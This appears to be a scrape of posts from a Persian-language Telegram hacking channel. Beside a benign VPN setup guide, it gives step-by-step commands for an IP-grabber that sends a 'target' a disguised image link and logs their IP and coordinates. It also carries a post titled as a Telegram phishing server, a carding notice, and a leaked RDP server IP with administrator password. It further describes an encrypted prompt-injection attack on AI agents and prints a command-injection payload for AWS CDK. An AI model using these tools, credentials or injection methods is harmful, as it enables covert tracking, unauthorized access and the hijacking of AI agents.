𝓚𝓐𝓛𝓘 𝓣𝓝𝓣

سلام! 👋 اینم راهنمای کامل قدم به قدم، چطور خودت یه VPN اختصاصی بسازی و با خانواده‌ت به اشتراک بذاری: مرحله ۱، خرید سرور برو به سایت ovhcloud.com یه VPS انتخاب کن، برای یه خانواده تا ۵ نفر، ارزون‌ترین گزینه کافیه، ۲ هسته، ۴ گیگابایت رم، ترافیک نامحدود، حدود ۳.۹۰ پوند در ماه یه لوکیشن تو اروپا انتخاب کن، سیستم‌عامل Ubuntu رو انتخاب کن، و سفارشو کامل کن مرحله ۲، اطلاعاتی که بهت میدن بعد از خرید، OVHcloud سه چیز بهت میده: آی‌پی سرور، یوزرنیم (معمولاً root)، و پسورد اینارو یادداشت کن یا ایمیل تاییدیه رو باز نگه دار مرحله ۳، نصب Amnezia اپلیکیشن AmneziaVPN رو دانلود کن (رایگانه، تو App Store و Google Play هست) یا از سایت رسمیش amnezia.org بازش کن، گزینه Self-hosted رو انتخاب کن اون سه تا اطلاعات (آی‌پی، یوزرنیم، پسورد) رو وارد کن و Continue بزن مرحله ۴، نصب خودکار Amnezia خودش به سرورت وصل میشه و همه‌چیزو خودکار نصب میکنه، معمولاً تو عرض چند دقیقه، بدون نیاز به دستور یا تنظیمات فنی مرحله ۵، اشتراک با خانواده بعد از تموم شدن، Amnezia یه QR کد برای هر نفر بهت میده اونو از طریق تلگرام یا واتساپ برای هر عضو خانواده بفرست اونا اپ رایگان Amnezia رو رو گوشی خودشون نصب میکنن، QR کد رو اسکن میکنن، و وصل میشن دیگه نیازی نیست با OVHcloud کاری داشته باشن، فقط یه اپ با یه دکمه‌ی وصل شدن هزینه کل فقط همون ۳.۹۰ پوند در ماه سرور، خود اپ Amnezia کاملاً رایگانه، هیچ هزینه پنهون دیگه‌ای نیست

فایل مربوط به این پست

گام ۱ — نصب ابزارها bash sudo apt update sudo apt install -y python3-flask python3-pil cloudflared گام ۲ — اجرای سرور (ترمینال اول، باز بماند) bash cd ~/Downloads/ipgrab python3 app.py منتظر پیام listening on http://0.0.0.0:8080 بمان. گام ۳ — اجرای تانل کلادفلر (ترمینال دوم، باز بماند) bash cloudflared tunnel --url http://127.0.0.1:8080 آدرس https://...trycloudflare.com را که نشان داده میشود کپی کن. گام ۴ — لینک قابل ارسال به هدف https://economies-assume-dirt-docs.trycloudflare.com/t/vacation_photo.png این لینک را برای دستگاه هدف (گوشی یا سیستم دیگر — نه سیستم خودت) بفرست. گام ۵ — مشاهده نتیجه (ترمینال سوم) bash curl -s "http://127.0.0.1:8080/api/hits" | python3 -m json.tool خروجی شامل این موارد است: ip → آدرس IP هدف country → کشور region → استان city → شهر lat و lon → مختصات جغرافیایی (برای نقشه) isp → ارائهدهنده اینترنت 📌 نکته مهم برای دیدن موقعیت واقعی روی نقشه، مختصات lat,lon را در گوگلمپس وارد کن. تست را از دستگاه دیگری انجام بده، نه از سیستم خودت (وگرنه فقط 127.0.0.1 و Localhost میبینی). هر دو ترمینال را باز نگه دار و بدان که آدرس تانل با هر بار اجرا عوض میشود.

سرور هک فیشینگ اکانت تلگرام

فروش کارتا دیگه کامل بسته شد و دیگه قرار نیست باز شه یه عده شاکی داریم که براشون کار نکرده . از امرپز دیگه کارتی به فروش، نمیره. بدرود

کسی میتونه یه ایپی اسکن کنه؟ اگه میتونه کسی کامنت بگه

منتظر کمک هاتون هستیم اردتمند شما RaVoX

╔══════════════════════════════════╗ 🖥️ FREE RDP DROP — HONG KONG 🇭🇰 ╚══════════════════════════════════╝ 📍 Server : 101.36.106.50 🔌 Port : 3389 👤 User : Administrator 🔑 Pass : Zxc123456789 🌍 Region : Hong Kong 🇭🇰 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

رفقا گل برای پروژه گیمینگ [تیم اسپیک و سرور گیم ] به دونیت و حمایت مالی نیازمندیم ، رفقایی که میتونن در این مورد کمکون کنن خوشحال میشیم به پیوی مراجعه نمایید. @iravoxi

🛡 قبل از اینکه به یک آدرس کریپتویی اعتماد کنید یه بررسی ساده می‌تونه جلوی کلی دردسر رو بگیره برای جلوگیری از فیشینگ، راگ پول و استفاده از آدرس‌های پرریسک، لازم نیست هر ولت رو به‌ صورت دستی داخل بلاکچین اکسپلوررها بررسی کنید 🔎 ولت هایلایتر یک افزونه مرورگره که آدرس‌های ارز دیجیتال موجود در صفحات وب رو شناسایی می‌کنه و بر اساس میزان ریسک با رنگ‌ های مختلف نمایش میده 🔴🟡🟢 این سرویس با ENS هم سازگاره و دامنه‌های مرتبط با آدرس‌ها رو بررسی می‌کنه تا اطلاعات کامل‌ تری درباره یک ولت داشته باشید ⚙️ نحوه کار 1️⃣ افزونه رو روی Chrome یا Firefox یا Edge نصب می‌کنید 2️⃣ آدرس‌های کیف پول داخل سایت‌ ها به‌صورت رنگی مشخص میشن 3️⃣ با قرار دادن موس روی یک آدرس دلیل هشدار رو می‌بینید برای مثال گزارش کلاهبرداری هک یا فعالیت مشکوک ✅ شبکه‌ های پشتیبانی‌ شده BTC • ETH • TRX • LTC • DOGE این افزونه در Chrome Web Store و Firefox Add-ons هم در دسترسه و می‌تونید نسخه رسمی اون رو از همین منابع دریافت کنید نصب Wallet Highlighter 👇 با VPN وارد بشین → Access it with a VPN www.wallethighlighter.com @KALI_TNT

🔴 هک کردن Agent هوش مصنوعی با تکنیک Cryptographic Context Injection ♦️جدیدا یه تکنیک اومده برای حمله به Agent های هوش مصنوعی که به شدت جالبه ، توی این تکنیک شخص هکر نمیاد دستورات مخرب خودشو مستقيم بزاره تو صفحه وب ، به جاش میاد دستورات مخرب رو رمزنگاری میکنه و میزاره توی JSON 🌕 حالا چه اتفاقی میفته؟ Agent هوش مصنوعی به این اطلاعات رمزنگاری شده میرسه  و ممکنه برای تحلیل بخواد Decode رو انجام بده مثلا از طریق پایتون ، اطلاعات decrypt در کنار اطلاعات اصلی توسط هکر قرار داده شده برای همین Agent هوش مصنوعی می‌تونه اطلاعات رو رمزگشایی کنه 🔥 در نهایت هوش مصنوعی به این اطلاعات رمزگشایی شده اعتماد میکنه که بهش میگن Trust Laundering ، چون هوش مصنوعی با ابزار داخلی خود تحلیل کرده و به این نتیجه رسیده اعتماد میکنه و دستور نهایی به یک دستور واقعی برای Agent تبدیل میشه ❌ این تکنیک روی هوش مصنوعی Grok کار میکرده که الان دیگه پچ کردن اما ممکنه هنوز خیلی از مدل ها این تکنیک روشون کار کنه @KALI_TNT

🌕 چطوری میشه با تکنولوژی های الان به آسیب پذیری OS Command Injection رسید؟ 🔴 خیلی ها فکر میکنن  آسیب پذیری هایی مثل os command injection دیگه رخ نمیده یا خیلی کمه و به خاطر پیشرفت تکنولوژی های وب و فریمورک ها دیگه امکان نداره اینطور آسیب پذیری ها رو پیدا کنیم! اما خب این غلطه ! ♦️ چیزی که مهمه اینه که به صورت مستقیم شاید ما به os command injection نرسیم اما با chain کردن و ساخت زنجیره حملات میشه بهش رسید نکته مهم اینه که آسیب پذیری ها همیشه از ورودی کاربر شروع نمیشن حالا یه مثال میزنم: 💢 یه محقق امنیتی اومده روی AWS CDK کار کرده و یه آسیب پذیری OS Command Injection پیدا کرده که روشش به شدت جالب هست زمانی که NodejsFunction برای Bundle کردن Lambda از Docker استفاده می‌کنه، AWS CDK چند فایل مثل package.json را داخل کانتینر تولید می‌کنه 🔺 برای اینکار از کلاس داخلی os command استفاده میکنه اما اینجا داده ها به صورت امن نوشته نمیشن و دستور زیر ساخته میشه: echo '${data}' > package.json 🔺اگر داخل data یک ' وجود داشته باشه quoting شکسته میشه و Shell اون رو به عنوان یک دستور جدید تفسیر میکنه ♦️ سناریو هکر چی بوده اومده یک package منتشر کرده مثلا : @evilcdk/helper داخل پکیجی که منتشر کرده اینو مینویسه 👇 {   "dependencies": {     "lodash":       "4.17.21' && touch /asset-input/pwned && echo '"   } } کاربر پکیج رو نصب میکنه npm install @evilcdk/helper و بعد از اجرا بدون زدن دستور shell دستورات هکر اجرا میشه Attacker ↓ Malicious npm package ↓ Victim installs package ↓ Victim runs cdk synth ↓ AWS CDK executes attacker command 🔴 پس متوجه شدیم که خیلی وقتا قرار نیست ما مستقیم به آسیب پذیری OS Command Injection برسیم در واقع این ترکیب کردن حملات هست که باعث میشه ما به همچین آسیب پذیری هایی برسیم 🔴 الان خیلی ها مثلا به XSS میرسن یا باگ های دیگه و اونو مستقیم گزارش میکنن در حالی که با supply chain کردن میشه آسیب پذیری رو ارتقاع داد و به دسترسی بالاتری رسید. @KALI_TNT

فقط به یه ادمین فعال نیاز دارم کسی بود پیوی حقوق هم کنار فعالیت تبلیغ فروش وسایل خودشو بکنه @KaliiLinuxx

چندتا Command پر استفاده محیط CLI لینوکس

چت ناشناس اگه حرفی چیزی بود http://t.me/HidenChat_Bot?start=8546290876

ممبرا بیان بالا چالش میرم